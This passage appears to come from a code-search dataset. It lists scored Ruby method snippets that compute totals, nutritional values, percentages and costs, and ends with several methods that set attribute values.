0\n\t\ttotal = 0\n\t\t@platos.each do |alimento|\n\t\t\tgramos += alimento.gramos\n\t\tend\n\t\treturn gramos.round(2)\n\tend", "title": "" }, { "docid": "681a1ceff0cacff66119848436f11528", "score": "0.632611", "text": "def totalPrazo(cp,quant)\n\t\treg = cp.size - 1\n\t\tret = 0\n\t\tfor ct in (0..reg)\n\t\t\tret = ret + (desconto(Produt.find(cp[ct]).prazo, Produt.find(cp[ct]).id) * quant[ct])\n\t\tend\n\t\treturn ret\n\tend", "title": "" }, { "docid": "9555428d30f8171c897d1735e7cf0ac8", "score": "0.6325117", "text": "def total_fuel_gallons\n self.inject(0) do |accum,trip|\n accum += trip.fuel_volume_gal\n accum\n end\n end", "title": "" }, { "docid": "1c5117b502ecebe0fd7d2de0dfe2467f", "score": "0.63242763", "text": "def totalHidratos\n\t\thidr = 0\n\t\ttotal = 0\n\t\t@platos.each do |alimento|\n\t\t\thidr += alimento.carbohidratos\n\t\tend\n\t\treturn hidr.round(2)\n\tend", "title": "" }, { "docid": "5d1348da02a794226ec97875fa692a8d", "score": "0.6323208", "text": "def calcular_imc\n (@peso)/(@altura*@altura)\n end", "title": "" }, { "docid": "04f187346935590c7d1a92845d27a246", "score": "0.6311866", "text": "def porc_grasa\n\t\t(1.2 * self.indice_masa_corporal + 0.23 * edad - 10.8 * sexo - 5.4).round(1)\n\tend", "title": "" }, { "docid": "abafc1a9fe38bdaa9044abb581706563", "score": "0.6309635", "text": "def get_cout_total\n return (self.prix)\n end", "title": "" }, { "docid": "844f710cddf64cb924b9e5de6352d889", "score": "0.6305005", "text": "def calcular()\n lista_nombres=@individuos[0].get_lista_nombres\n lista_nombres.each do |nombre|\n cont=0\n igind=0\n #puts nombre\n for j in 0..@individuos.length-1\n\tglucosa=@individuos[j].get_glucosa.to_f\n #puts glucosa\n aibc=@individuos[j].get_aibc(nombre)\n #puts aibc\n aux=aibc/glucosa*100\n #puts aux\n igind=igind+aux\n\tcont=cont+1\n end\n igind=igind/cont\n #puts igind\n @resultados << nombre + \" \" + igind.round(2).to_s + \"\\n\"\n end\n end", "title": "" }, { "docid": "bfa7de2f02ca754524d854f26b02c9e2", "score": "0.6293586", "text": "def cantidad_casas_hoteles\n aux = 0\n \n @propiedades.each do |i|\n aux += i.cantidad_casas_hoteles\n end\n \n return aux\n end", "title": "" }, { "docid": "4ef92463daa4dc81cca5a9c76f5e87c4", "score": "0.6288879", "text": "def per_person\n (total_cost / @guests).round(2)\n end", "title": "" }, { "docid": "a23c193d52538b6bd428387f985fd9df", "score": "0.6278252", "text": "def rent_percept_for_renter\n rent_value = 0\n self.accessories.each{|accessory|\n rent_value += ((accessory.base + accessory.tarif)*( 1 + (accessory.tax/100) ))\n }\n return rent_value\n end", "title": "" }, { "docid": "d6f9aedc7bd19bc610d8ed7d59844a1a", "score": "0.6276655", "text": "def massaCorporalGorda(percentualDeGordura, peso)\n resultado = (peso*percentualDeGordura)/100\nend", "title": "" }, { "docid": "5496ff77d9938724a147dedac056a68d", "score": "0.6276606", "text": "def indice_masa_corporal\n\t\t(peso / (talla * talla) * 10000).round(1)\n\tend", "title": "" }, { "docid": "faf7904b74d773f2eb2fab165f5c6350", "score": "0.62751245", "text": "def irvitaminas\n vag=(vitymin * 100) / 50\n vag.round(2)\n end", "title": "" }, { "docid": "c5f4076883e4ecd5df3eb75a8883f952", "score": "0.62728274", "text": "def percentagem_tarefas_concluidas(args)\n\t\targs[:estoria_id] ||= 0\n\t\targs[:tipo] ||= 0 #tipo 1 - percentagem normal\n\t\t #tipo 2 - em pixel para criar gráfico\n \n \tif args[:tipo] == 1 \n \t\tif (qtd_tarefas_total :estoria_id => args[:estoria_id] ) == 0\n \t\t\treturn 0\n \t\telse\t\t\t\t\t\t\t\t\t \n\t \t\t\t@percent_tarefas_concluidas = ((qtd_tarefas_concluidas :estoria_id => args[:estoria_id] ) * 100) / (qtd_tarefas_total :estoria_id => args[:estoria_id] ) \n\t \t\t\treturn @percent_tarefas_concluidas\n \t\t\tend\n \t\telse\n \t\t\tif (qtd_tarefas_total :estoria_id => args[:estoria_id] ) == 0\n \t\t\treturn 120\n \t\telse\t\n \t \t\t\t@percent_tarefas_concluidas = ((qtd_tarefas_concluidas :estoria_id => args[:estoria_id] ) * 120) / (qtd_tarefas_total :estoria_id => args[:estoria_id] ) #120 pois o gráfico tem 120 pixels\n\t \t\t\treturn (119 - @percent_tarefas_concluidas)\n\t \t\tend\t\n\t end\n end", "title": "" }, { "docid": "06bb651c7fa2c288890d95be3239a62a", "score": "0.62713826", "text": "def relacion_cc\n\t\t(ccintura / ccadera).round(2)\n\tend", "title": "" }, { "docid": "8751e08827b9ca1d9ec8225bcd6b6cea", "score": "0.6266502", "text": "def totalamount\n\t\tcopies * 5\n\tend", "title": "" }, { "docid": "fbfc38a41f3c2064261a9cb2ab4187c9", "score": "0.62652487", "text": "def nouveau_prix\n nouveau_prix = 0\n if(!bouteille.nil?)\n nouveau_prix = bouteille.prix\n nouveau_prix = nouveau_prix * (1 - (rabais/100)) if rabais?\n end\n ActionController::Base.helpers.number_to_currency(nouveau_prix, unit: \"\", separator: \".\", delimiter: \"\", format: \"%n\")\n end", "title": "" }, { "docid": "7a99658759b0aa5d28f618d452884fb3", "score": "0.62582326", "text": "def totalSimplificado\n @biblioteca.livrosComoLista.map(&:preco).inject(0){|total, preco| total += preco}\n end", "title": "" }, { "docid": "c048f67e22557d3d5bb236be7ab54037", "score": "0.6255717", "text": "def avarage_calories_burned\n total_workout_calories / set_sport_by_user.count\n rescue\n 0\n end", "title": "" }, { "docid": "d54a6b25ebb8cae8c462f3e716939819", "score": "0.62545663", "text": "def vrat_celkovy_soucet_vah\n soucet = 0\n @pole_vah.each do |prvek| \n soucet += prvek.to_i\n end\n return soucet\n end", "title": "" }, { "docid": "9b350786df40d2a1d793830402dec400", "score": "0.62502575", "text": "def getPrecioVenta\n precio = (cantidadCasasHoteles) *(@precioCompra +@precioEdificar) *@factorRevalorizacion \n return precio\n end", "title": "" }, { "docid": "46cc2f55fc3f641ae80ab6880b367485", "score": "0.62414676", "text": "def cost_of_cable(length)\n\t\tmeter = length * 0.01\n\t\tdollar = [meter * 0.4079 + 0.5771, meter * 0.0919 + 7.2745].min * BANDWIDTH\n\t\t(dollar * 100).round.to_f / 100\n\tend", "title": "" }, { "docid": "6998ef69792e6f68c889e26d4c46af34", "score": "0.6237277", "text": "def total_payments\n\t\tammortization * 12\n\tend", "title": "" }, { "docid": "6b706a4b1be474a73896768bc5e85591", "score": "0.6220213", "text": "def number_of_kcal_per_meal\n kcal_per_recipe = recipe_ingredients.each.sum do |recipe_ingredient|\n calories_per_gram = recipe_ingredient.ingredient.calories / 100 \n kilograms_of_ingredient = recipe_ingredient.calculated_weight_in_grams / 1000\n (calories_per_gram * kilograms_of_ingredient) #kcal\n end\n kcal_per_recipe / num_people\n end", "title": "" }, { "docid": "38a5684b74299938244f36ba9235bb1c", "score": "0.6217801", "text": "def percentage; end", "title": "" }, { "docid": "e23eed5969fa0f530220167476a3f123", "score": "0.62057745", "text": "def total_m3_ch4\n\t\t(calculations.collect(&:calc_m3_ch4).sum).round 2\n\tend", "title": "" }, { "docid": "edaf7e17d065b011b479b4ad89e85d50", "score": "0.62044346", "text": "def gramos\r\n grams = 0\r\n @lista_alimentos.each do |i|\r\n grams += 100\r\n end\r\n return grams\r\n end", "title": "" }, { "docid": "a10806abaa48b673f60ac7a4fd031476", "score": "0.6204305", "text": "def percent_of_total\n VoteCount.total.blank? ? 0 : ((count.to_f / VoteCount.total)*100)\n end", "title": "" }, { "docid": "173563f120353446b1182d266356f739", "score": "0.6201801", "text": "def calc_total_cost()\n\t\ttotal_cost = @cost.to_i * 0.9\n\tend", "title": "" }, { "docid": "f1e650d01f76f4425d0886b96543a26e", "score": "0.62003905", "text": "def calcule_nombre_pages\n @pages_count ||= Hash.new\n @pages_count.merge!({\n signes: (length / NUMBER_SIGNES_PER_PAGE) + 1,\n mots: (mots.count / NUMBER_MOTS_PER_PAGE) + 1\n })\n @pages_count.merge!(moy: (@pages_count[:signes] + @pages_count[:mots]) / 2)\n end", "title": "" }, { "docid": "c82e9d01f82f6ee0ed990f9d28afd9de", "score": "0.6199932", "text": "def total\n tot = 0\n for card in @cards\n tot += card.value\n end\n if has_ace and tot < 12\n tot2 = tot + 10\n if tot2 > 17\n return tot2\n elsif tot2 == 17\n unless @hit_soft_17\n return tot2\n end\n end\n end\n return tot\n end", "title": "" }, { "docid": "21d7ff71090f52e52d39e91460ebb7a6", "score": "0.6197133", "text": "def tenure_mth\n self.tenure*12\n end", "title": "" }, { "docid": "cf4e0d8af291d975a2cf7fa1941532d7", "score": "0.6196823", "text": "def total_digestate_nitrogen\n\t\t(calculations.collect(&:calc_digestate_nitrogen).sum).round 3\n\tend", "title": "" }, { "docid": "8e2c3e1e6151bdf4990dcd353a5f8132", "score": "0.61964536", "text": "def stat_total\n (self.health + self.hunger + self.happiness) / 3\n end", "title": "" }, { "docid": "837c3ff8bd8099a2f3f25231254631dc", "score": "0.61949486", "text": "def cost_of_stay\n num_of_nights * 200.00\n end", "title": "" }, { "docid": "b52d77315bc7b0848d578b0e239b43b8", "score": "0.619245", "text": "def totalCaloricValue()\n\t\t\t\tplato = @alimentsList.head\n\t\t\t\tgrams = @gramsList.head\n\t\t\t\ttotal = 0.0\n\n\t\t\t\twhile plato != nil\n\t\t\t\t\ttotal += (plato.value.get_energia() * grams.value) / 100\n\t\t\t\t\tplato = plato.next\n\t\t\t\t\tgrams = grams.next\n\t\t\t\tend\n\n\t\t\t\treturn total\n\t\t\tend", "title": "" }, { "docid": "8b11ed93574d2770ffb40ab7194ccfaa", "score": "0.6191355", "text": "def per_person\n (total_bill / @party_size).ceil.to_i\n end", "title": "" }, { "docid": "f5678f2e8a0102ac8f5ae3c218a7c0bf", "score": "0.6183904", "text": "def get_valor_energetico\n \n return ((@proteinas + @glucidos) * 4 + @lipidos * 9).round(1)\n \n \n end", "title": "" }, { "docid": "ecd54e83241265ab9496a6747942b614", "score": "0.6162416", "text": "def get_monoin\n @_100=((@monoin*100)/@peso)\n @ir_100=(@_100/25)*100\n @porcion=((@monoin*@gramos_porciones)/@peso)\n @ir_porcion=(@porcion/25)*100\n [ @monoin , @_100 , @ir_100.round(1) , @porcion , @ir_porcion.round(1) ]\n end", "title": "" }, { "docid": "20e377f59fd9612cdf238ddacbb197b3", "score": "0.61497235", "text": "def prot\n\t\tsuma = 0\n\t\tx = 0\n\t\tcantidad = 0\n\n\t\t@alimentos.each do |i|\n\t\t\tcantidad = @gramos[x].valor / (i.proteinas + i.lipidos + i.carbohidratos)\n\t\t\tsuma += i.proteinas * cantidad\n\t\t\tx += 1\n\t\tend\t\n\n\t\treturn ((suma * 100) / gramos_total).round(2)\n\tend", "title": "" }, { "docid": "0c6eddab6dabab6df13be7e01376f972", "score": "0.6140706", "text": "def genera_renglon_total\n\t\ttotal = Hash.new\n\t\t@renglones_reporte.each do |renglon|\n\t\t\t\trenglon.columnas.keys.each do |columna|\n\t\t\t\t\tif total[columna].nil?\n\t\t\t\t\t\ttotal[columna] = {:total => renglon.columnas[columna][:total], :promedio => 0}\n\t\t\t\t\telse\n\t\t\t\t\t\ttotal[columna][:total] += renglon.columnas[columna][:total]\n\t\t\t\t\tend\n\t\t\t\tend\n\t\tend\n\t\ttotal_t = total[\"Total\"][:total]\n \ttotal[\"Total\"][:promedio] = 100\n\t\ttotal.keys.each do |key|\n\t\t\tbegin\n\t\t\t\ttotal[key][:promedio] = (total[key][:total]/total_t.to_f*100).round\n\t\t\trescue\n\t\t\t\ttotal[key][:promedio] = 0\n\t\t\tend\n\t\tend\n\t\t@total = total\n\tend", "title": "" }, { "docid": "aaa9c62c00a9d9d89d0ded7e1eeb3168", "score": "0.6139901", "text": "def total\n self.gross_total\n end", "title": "" }, { "docid": "0818a363782f0497236c2a118192c379", "score": "0.6136929", "text": "def net_total\n net_total_base.round(2)\n end", "title": "" }, { "docid": "9146082cbb594109074c8ad88d3eeff3", "score": "0.61316246", "text": "def num_tankoubon; end", "title": "" }, { "docid": "07ccfdfd2cd45913ad665cef7e623c46", "score": "0.6130814", "text": "def pHidratos\n\t\thidr = 0\n\t\ttotal = 0\n\t\t@platos.each do |alimento|\n\t\t\ttotal += alimento.proteinas + alimento.lipidos + alimento.carbohidratos\n\t\t\thidr += alimento.carbohidratos\n\t\tend\n\t\treturn ((hidr/total)*100).round\n\n\t\n\tend", "title": "" }, { "docid": "c6198ee4b67875fa7d0a8b21e623f023", "score": "0.6128298", "text": "def vct\n grtotal = 0\n sum = 0\n\t\t#recorre las dos listas a la vez para sacar el valor\n\t\t#nutricional de cada ingrediente segun el peso de este\n @lista.zip(@listagr).each do |normal, gr|\n cant = gr/1000.0\n sum += normal.val_en*cant\n end\n sum\n end", "title": "" }, { "docid": "e78da4b90fe9c8a7ac7864eaabbbe7de", "score": "0.6127691", "text": "def irgrasassaturadas\n vag=(cgrasassa * 100) / 70\n vag.round(2)\n end", "title": "" }, { "docid": "a2d6547928337bf1e87e77d7a0ae84f0", "score": "0.61259705", "text": "def total_kg_ch4\n\t\t(calculations.collect(&:calc_kg_ch4).sum).round 2\n\tend", "title": "" }, { "docid": "c6258f3e7a9c2bdf94952ee0a9da97a6", "score": "0.6124719", "text": "def traitementTotal(taille)\n self.traitementPixel(taille)\n self.traitementMonochrome()\n \n return @grille = self.traitementPicross(taille)\n end", "title": "" }, { "docid": "1bc8a3282af34f2de2bdcef4118e81b9", "score": "0.6121508", "text": "def huella_nutricional\n (valor_calorico() + huella_carbono()) / 2\n end", "title": "" }, { "docid": "51cbe73aad5348338d37f7d3049f9faf", "score": "0.6116959", "text": "def total_value_cents\n total_benefits_value\n end", "title": "" }, { "docid": "f9f5429e7f73c0fbf86e090f83ecb98e", "score": "0.61122024", "text": "def charge\n subtotal * 0\n end", "title": "" }, { "docid": "cf1c885fbf93170ea2a297a115065685", "score": "0.610659", "text": "def valor_total_gasto\n\t\tself.qualificacoes.sum(:valor_gasto)\n\tend", "title": "" }, { "docid": "8791203361d9bbe9cf55dac17650084b", "score": "0.61046076", "text": "def irpoliinsaturadas\n vag=(grasaspoli * 100) / 70\n vag.round(2)\n end", "title": "" } ]
64ee68d975abe91526e1932dcec8633d
Set the +value+ for an +attr+ in this attrnode.
[ { "docid": "f60c369ef9b9f9e2ba24b4f844f05a72", "score": "0.71635395", "text": "def []=(attr, value)\n @attrs[attr] = value\n end", "title": "" } ]
[ { "docid": "212093cd9f3070b2f6f22c189bc5fc92", "score": "0.6980019", "text": "def []= (attr_name, value) \n write_attribute(attr_name, value)\n end", "title": "" }, { "docid": "3faa8cdd54b2afd0c7915fc70e124fcf", "score": "0.69622284", "text": "def []=(attr_name, value)\n write_attribute(attr_name, value)\n end", "title": "" }, { "docid": "6407eb4ee7774d5f3dcd7454c34a857c", "score": "0.6914909", "text": "def []=(attr_name, value)\n write_attribute(attr_name, value)\n end", "title": "" }, { "docid": "6407eb4ee7774d5f3dcd7454c34a857c", "score": "0.6913546", "text": "def []=(attr_name, value)\n write_attribute(attr_name, value)\n end", "title": "" }, { "docid": "6407eb4ee7774d5f3dcd7454c34a857c", "score": "0.6913546", "text": "def []=(attr_name, value)\n write_attribute(attr_name, value)\n end", "title": "" }, { "docid": "6407eb4ee7774d5f3dcd7454c34a857c", "score": "0.6913546", "text": "def []=(attr_name, value)\n write_attribute(attr_name, value)\n end", "title": "" }, { "docid": "7c81574f3daf78a0c4f20f6c4b456ff0", "score": "0.6806701", "text": "def []=(attr_name, value)\n @attributes.write_from_user(attr_name.to_s, value)\n end", "title": "" }, { "docid": "74d17a6670f24e44682f3ea83e8b5863", "score": "0.67355704", "text": "def set_attribute_value(node_id:, name:, value:)\n {\n method: \"DOM.setAttributeValue\",\n params: { nodeId: node_id, name: name, value: value }.compact\n }\n end", "title": "" }, { "docid": "a411f8914f80fab6ba4266c65a2d3b7b", "score": "0.6720336", "text": "def []=(attr_name, attr_value)\n value[attr_name.to_s] = attr_value\n end", "title": "" }, { "docid": "a411f8914f80fab6ba4266c65a2d3b7b", "score": "0.6720336", "text": "def []=(attr_name, attr_value)\n value[attr_name.to_s] = attr_value\n end", "title": "" }, { "docid": "56e3f9680d5dbc6e23edd0d4608a091b", "score": "0.67176276", "text": "def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end", "title": "" }, { "docid": "f990c14ed147b23d8c1c90c853cf94a2", "score": "0.66224265", "text": "def []=(attr, value)\n if Roomorama::Property::ATTRIBUTES.include?(attr)\n setter = [attr, \"=\"].join\n public_send(setter, value)\n end\n end", "title": "" }, { "docid": "945375b7bd97e94556cbb531509548d9", "score": "0.6604771", "text": "def []=(attr_name, value)\n @attributes[attr_name.to_s] = value\n end", "title": "" }, { "docid": "5af423d6cea2c08f7822568a2738e09b", "score": "0.6587896", "text": "def set_attr(name, value)\n each_value {|x| x[name] = value }\n end", "title": "" }, { "docid": "952d01811f6a325a2f82fc997cb1b18d", "score": "0.6580035", "text": "def []=(attr_name, value)\n if self.attribute_names.include?(attr_name.to_s)\n write_attribute(attr_name, value)\n else\n set_custom_attribute(attr_name, value)\n end\n end", "title": "" }, { "docid": "d98c16af229f7b1568c471082765ba3e", "score": "0.6523812", "text": "def set_attribute_value(attrib_name, attrib_value=nil)\n return set_attribute_values(attrib_name) if attrib_name.is_a? Hash \n touch(attrib_name)\n @attribute_values_flat[attrib_name.to_sym] = attrib_value\n end", "title": "" }, { "docid": "657d76c4a6338a83ba4fbf0bf26af963", "score": "0.6521639", "text": "def []=(name, value)\n @attr[name] = value\n end", "title": "" }, { "docid": "9fa54a11d11bf2d28abfc3c1c4ac587a", "score": "0.64902997", "text": "def set attribute, value\n attributes[attribute] = value\n end", "title": "" }, { "docid": "84f3322979204d501e842c9831b3c6fd", "score": "0.6489865", "text": "def set(attribute, value)\n @attributes[attribute.to_s] = value\n nil\n end", "title": "" }, { "docid": "59071a6e533012d4f0ae182192881d93", "score": "0.64873415", "text": "def set_attribute_for element, attr, value\n AXUIElementSetAttributeValue(element, attr, value)\n end", "title": "" }, { "docid": "2ba20e6e0794f1d5d6a18e2ccb4d70af", "score": "0.6466567", "text": "def set attr, to: value\n unless writable_attr? attr\n raise NoMethodError, \"#{attr} is read-only for #{inspect}\"\n end\n real_attr = attribute_for attr\n value = value.to_axvalue\n set real_attr, to: value, for: @ref\n value\n end", "title": "" }, { "docid": "c5e7efca83e0a61935bf02a31c90fccd", "score": "0.64352995", "text": "def set_record_value_for_attribute(record, attr, value, role = :default)\n end", "title": "" }, { "docid": "8cb1c76872ced502b9d0bf452e345f3a", "score": "0.6431743", "text": "def []=(attribute, value)\n attributes[attribute] = to_field(value)\n end", "title": "" }, { "docid": "53cbd05b287bdc74192ec4a43863abe3", "score": "0.63778687", "text": "def attribute=(name, val)\n write_attribute(name, val)\n end", "title": "" }, { "docid": "90dd1f7219340b893eafb7fa0c9bacf3", "score": "0.6337456", "text": "def set_attr(attr, value)\n ret = LibSeccomp.seccomp_attr_set(context, attr, value)\n raise SystemCallError.new(\"seccomp_attr_set(context, #{attr.inspect}, #{value}) failed\", -ret) if ret < 0\n end", "title": "" }, { "docid": "2683255a813dd40cda66c68f3ed5b102", "score": "0.63174933", "text": "def set_attribute(name, value)\n @attributes[name] = value\n end", "title": "" }, { "docid": "372e70cfa68bd23c59a2800fe4bcd59b", "score": "0.6240202", "text": "def []=(key, value)\n copy_on_write if @attrs.shared\n key = key.intern \n a = @attrs_hash[key]\n if a\n if value\n a.value = value\n else\n delete_attr!(key)\n end\n else\n put_attr(Attr.new(key,value)) if value\n end\n value\n end", "title": "" }, { "docid": "9b3972a374626f40a15e3e061867e987", "score": "0.61753017", "text": "def []=(attribute,value)\n `c$Element.prototype.m$set_property.call(#{@element},attribute,value)`\n end", "title": "" }, { "docid": "e8c3cc082d28b3cbb598c8ce9dc7b515", "score": "0.61531323", "text": "def value=(attr)\n attributes['FieldValue'] = attr unless read_only?\n end", "title": "" }, { "docid": "1030c36f68907b6c7b87d2717399dd5b", "score": "0.61443377", "text": "def []=(attr, value)\n self.send(\"#{attr}=\", value)\n end", "title": "" }, { "docid": "1030c36f68907b6c7b87d2717399dd5b", "score": "0.61443377", "text": "def []=(attr, value)\n self.send(\"#{attr}=\", value)\n end", "title": "" }, { "docid": "254b191662cfaf6bdd192f072cac44d3", "score": "0.61422974", "text": "def set attr, value\n unless writable? attr\n raise ArgumentError, \"#{attr} is read-only for #{inspect}\"\n end\n value = value.relative_to(@ref.value.size) if value.kind_of? Range\n @ref.set TRANSLATOR.cocoaify(attr), value\n end", "title": "" }, { "docid": "763acddb80b6bb8b27fc1ebdd4b6882c", "score": "0.6131906", "text": "def attr(name, value)\n self[name] = value\n return self\n end", "title": "" }, { "docid": "76b0ec04ada151d69607c6b9d6fd5b98", "score": "0.61314446", "text": "def []=(attribute, value)\n self.send(\"#{attribute}=\", value)\n end", "title": "" }, { "docid": "d508f29eea085d040ff4c00efa72b4ff", "score": "0.61278325", "text": "def set_attribute(name, value); end", "title": "" }, { "docid": "f9e2b00dc0f03350f23ef2720d39dbbf", "score": "0.6118198", "text": "def []=(name, value)\n name = name.to_s\n value.nil? ? remove_attribute(name) : attr_set(name, value.to_s)\n end", "title": "" }, { "docid": "ddcf54ae822e3fed2b6f564edb7f609e", "score": "0.6061522", "text": "def []=(attr, value)\n raise \"argument to [] must be a Symbol or a String.\" unless attr.is_a?(Symbol) or attr.is_a?(String)\n @attributes = { } if !instance_variable_defined?(:@attributes) or @attributes.nil?\n @attributes[attr] = value.to_s\n end", "title": "" }, { "docid": "c5663d0e7225d25c7bcf496e90526963", "score": "0.6050858", "text": "def attribute=(attribute_name, value)\n write_attribute(attribute_name, value)\n end", "title": "" }, { "docid": "c5663d0e7225d25c7bcf496e90526963", "score": "0.6050858", "text": "def attribute=(attribute_name, value)\n write_attribute(attribute_name, value)\n end", "title": "" }, { "docid": "2dd60d966e09fbca2a93fe092e867b1f", "score": "0.60501474", "text": "def setAttrib(name,value)\n\t\t@attributes[name] = value\n\tend", "title": "" }, { "docid": "ab3bf810565a3c56f99feeb91c658233", "score": "0.60395676", "text": "def set_attribute(name, value)\n # Get the attr and clean up the input\n attr = to_real_attribute_name(name)\n raise UnknownAttribute.new(name) if attr.nil?\n\n if attr == dn_attribute and value.is_a?(String)\n new_dn_attribute, value, @base = split_dn_value(value)\n new_dn_attribute = to_real_attribute_name(new_dn_attribute)\n if dn_attribute != new_dn_attribute\n @dn_attribute = attr = new_dn_attribute\n end\n end\n\n # Enforce LDAP-pleasing values\n real_value = value\n # Squash empty values\n if value.class == Array\n real_value = value.collect {|c| (c.nil? or c.empty?) ? [] : c}.flatten\n end\n real_value = [] if real_value.nil?\n real_value = [] if real_value == ''\n real_value = [real_value] if real_value.class == String\n real_value = [real_value.to_s] if real_value.class == Fixnum\n # NOTE: Hashes are allowed for subtyping.\n\n # Assign the value\n @data[attr] = enforce_type(attr, real_value)\n\n # Return the passed in value\n @data[attr]\n end", "title": "" }, { "docid": "6d91f2d5dbec3372e705e5328785b94d", "score": "0.6025479", "text": "def []= (attr, val)\n sanity_check\n @handle[attr] = val\n end", "title": "" }, { "docid": "139f5e0f71bca28c2b40e2ba4d4673f4", "score": "0.5964507", "text": "def set_attribute_value(attribute, value)\n\n # This product needs to have an id in order to set\n # attribute values on it.\n save! if new_record?\n\n if attribute.atype == ProductAttribute::Atype_String\n str_val = value\n int_val = nil\n elsif attribute.atype == ProductAttribute::Atype_Currency\n str_val = nil\n int_val = MoneyUtils.parse(value)\n else\n # It is possible that the admin did not fill in a value for\n # a text field, so we get an empty string for \"value\". We\n # could implement a default value for the attribute (probably\n # stored in the attribute itself, but for now just store 0.)\n str_val = nil\n if value.blank?\n int_val = 0\n else\n int_val = Integer(value)\n end\n end\n write_attr_val(attribute.id, str_val, int_val)\n\n end", "title": "" }, { "docid": "0524c350fdea8a15779a9034b62f21f4", "score": "0.5935405", "text": "def set_tag_attr (tag_path, attr_name, attr_value)\n\n $test_logger.log(\"Set XML tag attribute #{tag_path}, #{attr_name}, #{attr_value}\")\n\n raise \"XML doc not loaded\" if @xml_ilv_node == nil\n\n #Get target tag\n target_tag = @xml_ilv_node.root.elements[tag_path]\n\n #Raise exception if no tag is found\n raise \"XML path '#{tag_path}' not found!\" if !target_tag\n\n attr_obj = target_tag.add_attribute(attr_name, attr_value)\n\n #Notify changes to load other formats like RAW and HEX\n notify_change(InputChannel::XML)\n end", "title": "" }, { "docid": "b2ee8af073e57e9eba217993c4129bfc", "score": "0.5895247", "text": "def value=(value)\n `#{@el}.value = #{value}`\n end", "title": "" }, { "docid": "4980c33a4d48303c80dbcbf2ef0ed384", "score": "0.58794594", "text": "def assign_attribute_value(attribute, value)\n value = self.assign_layer_value(value, self.class._attribute_types[attribute], 0)\n self.instance_variable_set(\"@#{attribute}\", value)\n rescue => err\n Canvas.logger(:error, err.message)\n Canvas.logger(:error, err.backtrace)\n raise ArgumentError.new(\" #{attribute} for #{self.class.definition['class_name']} should be kind of #{\n self.class._attribute_types[attribute].join(\"#\")}, but got #{value.class}\")\n end", "title": "" }, { "docid": "1621e77d7940e094a2c5455dd8b8d898", "score": "0.5878519", "text": "def []=(key, value)\n fail_if_value_exculudes_attribute\n @attributes[key] = value\n end", "title": "" }, { "docid": "ccc14444ad7838fc38e8f6dd825cc4fb", "score": "0.58451843", "text": "def value=(value)\n @value = value.nil? ? nil : _set_value(value)\n end", "title": "" }, { "docid": "006614e5f59553ec261addc2213861c2", "score": "0.5841908", "text": "def []=(name, val)\n write_attribute(name, val)\n end", "title": "" }, { "docid": "8607bd4c830ab2e19252df798a08e542", "score": "0.58152705", "text": "def set attrib, value\n if attrib.is_a? String and attrib.include? \".\"\n syms = attrib.split(\".\")\n first = syms[0]\n rest = syms[1..-1].join(\".\")\n self.send(first).set(rest, value)\n else\n self.send(\"#{attrib}=\".to_sym, value)\n end\n end", "title": "" }, { "docid": "96e73eb8b9898f80b4fb7eaad444e893", "score": "0.5812988", "text": "def value=(value)\n `#{@element}.value = #{value}`\n end", "title": "" }, { "docid": "fe61adf3744b2b94fde27db3e4c0cb10", "score": "0.5808748", "text": "def set_value(value)\n @value = value\n end", "title": "" }, { "docid": "9d2ea623606c5b5817a99dad8519cf8c", "score": "0.58070445", "text": "def []=( attrname, value )\n\t\tvalue = [ value ] unless value.is_a?( Array )\n\t\tvalue.collect! {|val| self.get_converted_attribute(attrname, val) }\n\t\tself.log.debug \"Modifying %s to %p\" % [ attrname, value ]\n\t\tself.directory.modify( self, attrname.to_s => value )\n\t\t@values.delete( attrname.to_sym )\n\t\tself.entry[ attrname.to_s ] = value\n\tend", "title": "" }, { "docid": "c58c8f10eec71f0d64d98b0335033c82", "score": "0.5787641", "text": "def value=(val)\n self[:value] = serialize_value(val)\n end", "title": "" }, { "docid": "6a517b6ed5b88b83b0f03ae5497b1fcb", "score": "0.5769419", "text": "def set_attribute(key_, value_)\n attribute(key_, value_, :set)\n end", "title": "" }, { "docid": "c6be7367111b4d0784733ac1589da621", "score": "0.5767329", "text": "def []=(key, val)\n setAttribute(key.to_s, val)\n end", "title": "" }, { "docid": "c6be7367111b4d0784733ac1589da621", "score": "0.5767329", "text": "def []=(key, val)\n setAttribute(key.to_s, val)\n end", "title": "" }, { "docid": "c6be7367111b4d0784733ac1589da621", "score": "0.5767329", "text": "def []=(key, val)\n setAttribute(key.to_s, val)\n end", "title": "" }, { "docid": "e3dd1588e57b69afd19e18f062b855cb", "score": "0.57642615", "text": "def value=(value)\n @value = value\n @value_set = true\n end", "title": "" }, { "docid": "6afca6f2bed9cc8744a70916512b4a08", "score": "0.57493436", "text": "def value=(v)\n @value = v\n @value_set = true\n @value\n end", "title": "" }, { "docid": "14acf7ea634c46636b3593c2d5a3012a", "score": "0.57486355", "text": "def set_value(value)\n send(\"set_#{value[:type]}_value\", value)\n end", "title": "" }, { "docid": "851a5bbe56ffe6eb5fe47b55a0965e2e", "score": "0.574299", "text": "def set_attribute(id, attr)\n\t\t\t@current_context.set_attribute(id, attr)\n\t\tend", "title": "" }, { "docid": "058e81234939aad888c314f46167e94d", "score": "0.57400256", "text": "def []=(name, value)\n `return self.removeAttr(name)` if value.nil?\n `self.attr(name, value)`\n end", "title": "" }, { "docid": "7a1925bb5b514a5aaf14c44d395d2fa5", "score": "0.5735382", "text": "def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end", "title": "" }, { "docid": "071992f795b51c669901db597c947b14", "score": "0.5725488", "text": "def []=(name, value)\n @attributes[name] = value\n end", "title": "" }, { "docid": "8b1264759d18666fc05b320f9bdccf5a", "score": "0.57004404", "text": "def assign(attribute, value)\n @attributes[attribute.to_sym] = value\n end", "title": "" }, { "docid": "0e91a87882581f7731e0508fadd82cd1", "score": "0.5687393", "text": "def update_attribute(attr_name, attr_value)\n update_attributes(attr_name => attr_value)\n end", "title": "" }, { "docid": "6e25a19bae2c018d8c1f5a8ffd22753f", "score": "0.568341", "text": "def []=(key,value)\n @attributes[key] = value\n end", "title": "" }, { "docid": "b2ee7ded266f1f6cbf2dd0c28ceea561", "score": "0.56757367", "text": "def value=(v)\n @value = from_type(v)\n end", 